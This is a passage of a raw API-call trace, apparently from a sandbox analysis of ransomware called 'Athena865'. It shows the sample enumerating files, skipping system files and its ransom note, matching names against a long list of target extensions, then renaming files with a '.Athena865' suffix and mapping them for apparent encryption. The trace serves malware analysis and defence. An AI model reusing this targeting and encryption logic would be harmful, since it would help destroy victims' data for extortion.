lstrcmpiW (lpString1="FLT", lpString2="wdb") returned -1 [0107.700] lstrlenW (lpString="wmdb") returned 4 [0107.700] lstrcmpiW (lpString1=".FLT", lpString2="wmdb") returned -1 [0107.700] lstrlenW (lpString="wrk") returned 3 [0107.700] lstrcmpiW (lpString1="FLT", lpString2="wrk") returned -1 [0107.700] lstrlenW (lpString="xdb") returned 3 [0107.700] lstrcmpiW (lpString1="FLT", lpString2="xdb") returned -1 [0107.700] lstrlenW (lpString="xld") returned 3 [0107.700] lstrcmpiW (lpString1="FLT", lpString2="xld") returned -1 [0107.700] lstrlenW (lpString="xmlff") returned 5 [0107.700] lstrcmpiW (lpString1="2.FLT", lpString2="xmlff") returned -1 [0107.700] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.Athena865") returned 77 [0107.701] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.athena865"), dwFlags=0x1) returned 1 [0107.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.702] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=712592) returned 1 [0107.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0107.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.703] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.703] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.703] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.703] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xae290, lpName=0x0) returned 0x17c [0107.705] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xae290) returned 0x2d50000 [0107.740] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.741] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.741] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0107.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0107.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.742] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0107.748] CloseHandle (hObject=0x17c) returned 1 [0107.748] CloseHandle (hObject=0x154) returned 1 [0107.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0107.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.751] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0107.751] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0107.751] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.751] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2=".") returned 1 [0107.751] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="..") returned 1 [0107.751] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="windows") returned -1 [0107.751] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="bootmgr") returned 1 [0107.751] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="temp") returned -1 [0107.751] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="pagefile.sys") returned -1 [0107.751] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="boot") returned 1 [0107.751] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="ids.txt") returned -1 [0107.751] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="ntuser.dat") returned -1 [0107.751] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="perflogs") returned -1 [0107.751] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2="MSBuild") returned -1 [0107.751] lstrlenW (lpString="GIFIMP32.FLT") returned 12 [0107.751] lstrcpyW (in: lpString1=0x241e8b6, lpString2="GIFIMP32.FLT" | out: lpString1="GIFIMP32.FLT") returned="GIFIMP32.FLT" [0107.751] lstrlenW (lpString="GIFIMP32.FLT") returned 12 [0107.751] lstrlenW (lpString="Athena865") returned 9 [0107.751] lstrcmpiW (lpString1="IMP32.FLT", lpString2="Athena865") returned 1 [0107.751] lstrlenW (lpString=".dll") returned 4 [0107.751] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2=".dll") returned 1 [0107.751] lstrlenW (lpString=".lnk") returned 4 [0107.752] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2=".lnk") returned 1 [0107.752] lstrlenW (lpString=".ini") returned 4 [0107.752] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2=".ini") returned 1 [0107.752] lstrlenW (lpString=".sys") returned 4 [0107.752] lstrcmpiW (lpString1="GIFIMP32.FLT", lpString2=".sys") returned 1 [0107.752] lstrlenW (lpString="GIFIMP32.FLT") returned 12 [0107.752] lstrlenW (lpString="bak") returned 3 [0107.752] lstrcmpiW (lpString1="FLT", lpString2="bak") returned 1 [0107.752] lstrlenW (lpString="ba_") returned 3 [0107.752] lstrcmpiW (lpString1="FLT", lpString2="ba_") returned 1 [0107.752] lstrlenW (lpString="dbb") returned 3 [0107.752] lstrcmpiW (lpString1="FLT", lpString2="dbb") returned 1 [0107.752] lstrlenW (lpString="vmdk") returned 4 [0107.752] lstrcmpiW (lpString1=".FLT", lpString2="vmdk") returned -1 [0107.752] lstrlenW (lpString="rar") returned 3 [0107.752] lstrcmpiW (lpString1="FLT", lpString2="rar") returned -1 [0107.752] lstrlenW (lpString="zip") returned 3 [0107.752] lstrcmpiW (lpString1="FLT", lpString2="zip") returned -1 [0107.752] lstrlenW (lpString="tgz") returned 3 [0107.752] lstrcmpiW (lpString1="FLT", lpString2="tgz") returned -1 [0107.752] lstrlenW (lpString="vbox") returned 4 [0107.752] lstrcmpiW (lpString1=".FLT", lpString2="vbox") returned -1 [0107.752] lstrlenW (lpString="vdi") returned 3 [0107.752] lstrcmpiW (lpString1="FLT", lpString2="vdi") returned -1 [0107.752] lstrlenW (lpString="vhd") returned 3 [0107.752] lstrcmpiW (lpString1="FLT", lpString2="vhd") returned -1 [0107.752] lstrlenW (lpString="vhdx") returned 4 [0107.752] lstrcmpiW (lpString1=".FLT", lpString2="vhdx") returned -1 [0107.752] lstrlenW (lpString="avhd") returned 4 [0107.752] lstrcmpiW (lpString1=".FLT", lpString2="avhd") returned -1 [0107.752] lstrlenW (lpString="db") returned 2 [0107.752] lstrcmpiW (lpString1="LT", lpString2="db") returned 1 [0107.753] lstrlenW (lpString="db2") returned 3 [0107.753] lstrcmpiW (lpString1="FLT", lpString2="db2") returned 1 [0107.753] lstrlenW (lpString="db3") returned 3 [0107.753] lstrcmpiW (lpString1="FLT", lpString2="db3") returned 1 [0107.753] lstrlenW (lpString="dbf") returned 3 [0107.753] lstrcmpiW (lpString1="FLT", lpString2="dbf") returned 1 [0107.753] lstrlenW (lpString="mdf") returned 3 [0107.753] lstrcmpiW (lpString1="FLT", lpString2="mdf") returned -1 [0107.753] lstrlenW (lpString="mdb") returned 3 [0107.753] lstrcmpiW (lpString1="FLT", lpString2="mdb") returned -1 [0107.753] lstrlenW (lpString="sql") returned 3 [0107.753] lstrcmpiW (lpString1="FLT", lpString2="sql") returned -1 [0107.753] lstrlenW (lpString="sqlite") returned 6 [0107.753] lstrcmpiW (lpString1="32.FLT", lpString2="sqlite") returned -1 [0107.753] lstrlenW (lpString="sqlite3") returned 7 [0107.753] lstrcmpiW (lpString1="P32.FLT", lpString2="sqlite3") returned -1 [0107.753] lstrlenW (lpString="sqlitedb") returned 8 [0107.753] lstrcmpiW (lpString1="MP32.FLT", lpString2="sqlitedb") returned -1 [0107.753] lstrlenW (lpString="xml") returned 3 [0107.753] lstrcmpiW (lpString1="FLT", lpString2="xml") returned -1 [0107.753] lstrlenW (lpString="$er") returned 3 [0107.753] lstrcmpiW (lpString1="FLT", lpString2="$er") returned 1 [0107.753] lstrlenW (lpString="4dd") returned 3 [0107.753] lstrcmpiW (lpString1="FLT", lpString2="4dd") returned 1 [0107.753] lstrlenW (lpString="4dl") returned 3 [0107.753] lstrcmpiW (lpString1="FLT", lpString2="4dl") returned 1 [0107.753] lstrlenW (lpString="^^^") returned 3 [0107.753] lstrcmpiW (lpString1="FLT", lpString2="^^^") returned 1 [0107.753] lstrlenW (lpString="abs") returned 3 [0107.753] lstrcmpiW (lpString1="FLT", lpString2="abs") returned 1 [0107.753] lstrlenW (lpString="abx") returned 3 [0107.753] lstrcmpiW (lpString1="FLT", lpString2="abx") returned 1 [0107.753] lstrlenW (lpString="accdb") returned 5 [0107.754] lstrcmpiW (lpString1="2.FLT", lpString2="accdb") returned -1 [0107.754] lstrlenW (lpString="accdc") returned 5 [0107.754] lstrcmpiW (lpString1="2.FLT", lpString2="accdc") returned -1 [0107.754] lstrlenW (lpString="accde") returned 5 [0107.754] lstrcmpiW (lpString1="2.FLT", lpString2="accde") returned -1 [0107.754] lstrlenW (lpString="accdr") returned 5 [0107.754] lstrcmpiW (lpString1="2.FLT", lpString2="accdr") returned -1 [0107.754] lstrlenW (lpString="accdt") returned 5 [0107.754] lstrcmpiW (lpString1="2.FLT", lpString2="accdt") returned -1 [0107.754] lstrlenW (lpString="accdw") returned 5 [0107.754] lstrcmpiW (lpString1="2.FLT", lpString2="accdw") returned -1 [0107.754] lstrlenW (lpString="accft") returned 5 [0107.754] lstrcmpiW (lpString1="2.FLT", lpString2="accft") returned -1 [0107.754] lstrlenW (lpString="adb") returned 3 [0107.754] lstrcmpiW (lpString1="FLT", lpString2="adb") returned 1 [0107.754] lstrlenW (lpString="adb") returned 3 [0107.754] lstrcmpiW (lpString1="FLT", lpString2="adb") returned 1 [0107.754] lstrlenW (lpString="ade") returned 3 [0107.754] lstrcmpiW (lpString1="FLT", lpString2="ade") returned 1 [0107.754] lstrlenW (lpString="adf") returned 3 [0107.754] lstrcmpiW (lpString1="FLT", lpString2="adf") returned 1 [0107.754] lstrlenW (lpString="adn") returned 3 [0107.754] lstrcmpiW (lpString1="FLT", lpString2="adn") returned 1 [0107.754] lstrlenW (lpString="adp") returned 3 [0107.754] lstrcmpiW (lpString1="FLT", lpString2="adp") returned 1 [0107.754] lstrlenW (lpString="alf") returned 3 [0107.754] lstrcmpiW (lpString1="FLT", lpString2="alf") returned 1 [0107.754] lstrlenW (lpString="ask") returned 3 [0107.754] lstrcmpiW (lpString1="FLT", lpString2="ask") returned 1 [0107.754] lstrlenW (lpString="btr") returned 3 [0107.754] lstrcmpiW (lpString1="FLT", lpString2="btr") returned 1 [0107.754] lstrlenW (lpString="cat") returned 3 [0107.754] lstrcmpiW (lpString1="FLT", lpString2="cat") returned 1 [0107.755] lstrlenW (lpString="cdb") returned 3 [0107.755] lstrcmpiW (lpString1="FLT", lpString2="cdb") returned 1 [0107.755] lstrlenW (lpString="ckp") returned 3 [0107.755] lstrcmpiW (lpString1="FLT", lpString2="ckp") returned 1 [0107.755] lstrlenW (lpString="cma") returned 3 [0107.755] lstrcmpiW (lpString1="FLT", lpString2="cma") returned 1 [0107.755] lstrlenW (lpString="cpd") returned 3 [0107.755] lstrcmpiW (lpString1="FLT", lpString2="cpd") returned 1 [0107.755] lstrlenW (lpString="dacpac") returned 6 [0107.755] lstrcmpiW (lpString1="32.FLT", lpString2="dacpac") returned -1 [0107.755] lstrlenW (lpString="dad") returned 3 [0107.755] lstrcmpiW (lpString1="FLT", lpString2="dad") returned 1 [0107.755] lstrlenW (lpString="dadiagrams") returned 10 [0107.755] lstrcmpiW (lpString1="FIMP32.FLT", lpString2="dadiagrams") returned 1 [0107.755] lstrlenW (lpString="daschema") returned 8 [0107.755] lstrcmpiW (lpString1="MP32.FLT", lpString2="daschema") returned 1 [0107.755] lstrlenW (lpString="db-journal") returned 10 [0107.755] lstrcmpiW (lpString1="FIMP32.FLT", lpString2="db-journal") returned 1 [0107.755] lstrlenW (lpString="db-shm") returned 6 [0107.755] lstrcmpiW (lpString1="32.FLT", lpString2="db-shm") returned -1 [0107.755] lstrlenW (lpString="db-wal") returned 6 [0107.755] lstrcmpiW (lpString1="32.FLT", lpString2="db-wal") returned -1 [0107.755] lstrlenW (lpString="dbc") returned 3 [0107.755] lstrcmpiW (lpString1="FLT", lpString2="dbc") returned 1 [0107.755] lstrlenW (lpString="dbs") returned 3 [0107.755] lstrcmpiW (lpString1="FLT", lpString2="dbs") returned 1 [0107.755] lstrlenW (lpString="dbt") returned 3 [0107.755] lstrcmpiW (lpString1="FLT", lpString2="dbt") returned 1 [0107.755] lstrlenW (lpString="dbv") returned 3 [0107.755] lstrcmpiW (lpString1="FLT", lpString2="dbv") returned 1 [0107.755] lstrlenW (lpString="dbx") returned 3 [0107.755] lstrcmpiW (lpString1="FLT", lpString2="dbx") returned 1 [0107.755] lstrlenW (lpString="dcb") returned 3 [0107.756] lstrcmpiW (lpString1="FLT", lpString2="dcb") returned 1 [0107.756] lstrcmpiW (lpString1="FLT", lpString2="dct") returned 1 [0107.756] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.Athena865") returned 77 [0107.756] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.athena865"), dwFlags=0x1) returned 1 [0107.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.758] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=320384) returned 1 [0107.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0107.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.758] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.759] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.759] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.759] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e680, lpName=0x0) returned 0x17c [0107.762] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e680) returned 0x2d50000 [0107.780] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.781] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.781] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0107.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0107.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.781] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0107.784] CloseHandle (hObject=0x17c) returned 1 [0107.784] CloseHandle (hObject=0x154) returned 1 [0107.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0107.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.786] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcfb40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcdfcfb40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0107.786] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0107.786] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0107.786] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0107.786] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.786] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2=".") returned 1 [0107.786] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="..") returned 1 [0107.786] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="windows") returned -1 [0107.786] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="bootmgr") returned 1 [0107.786] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="temp") returned -1 [0107.786] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="pagefile.sys") returned -1 [0107.786] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="boot") returned 1 [0107.786] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="ids.txt") returned 1 [0107.786] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="ntuser.dat") returned -1 [0107.786] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="perflogs") returned -1 [0107.786] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2="MSBuild") returned -1 [0107.786] lstrlenW (lpString="JPEGIM32.FLT") returned 12 [0107.786] lstrcpyW (in: lpString1=0x241e8b6, lpString2="JPEGIM32.FLT" | out: lpString1="JPEGIM32.FLT") returned="JPEGIM32.FLT" [0107.786] lstrlenW (lpString="JPEGIM32.FLT") returned 12 [0107.786] lstrlenW (lpString="Athena865") returned 9 [0107.786] lstrcmpiW (lpString1="GIM32.FLT", lpString2="Athena865") returned 1 [0107.786] lstrlenW (lpString=".dll") returned 4 [0107.786] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2=".dll") returned 1 [0107.787] lstrlenW (lpString=".lnk") returned 4 [0107.787] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2=".lnk") returned 1 [0107.787] lstrlenW (lpString=".ini") returned 4 [0107.787] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2=".ini") returned 1 [0107.787] lstrlenW (lpString=".sys") returned 4 [0107.787] lstrcmpiW (lpString1="JPEGIM32.FLT", lpString2=".sys") returned 1 [0107.787] lstrlenW (lpString="JPEGIM32.FLT") returned 12 [0107.787] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.Athena865") returned 77 [0107.787] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.athena865"), dwFlags=0x1) returned 1 [0107.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.788] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=241024) returned 1 [0107.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0107.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.789] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.789] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.789] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.790] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b080, lpName=0x0) returned 0x17c [0107.791] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b080) returned 0x170000 [0107.801] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.802] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.802] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0107.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0107.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.803] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0107.805] CloseHandle (hObject=0x17c) returned 1 [0107.805] CloseHandle (hObject=0x154) returned 1 [0107.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0107.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.806] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, 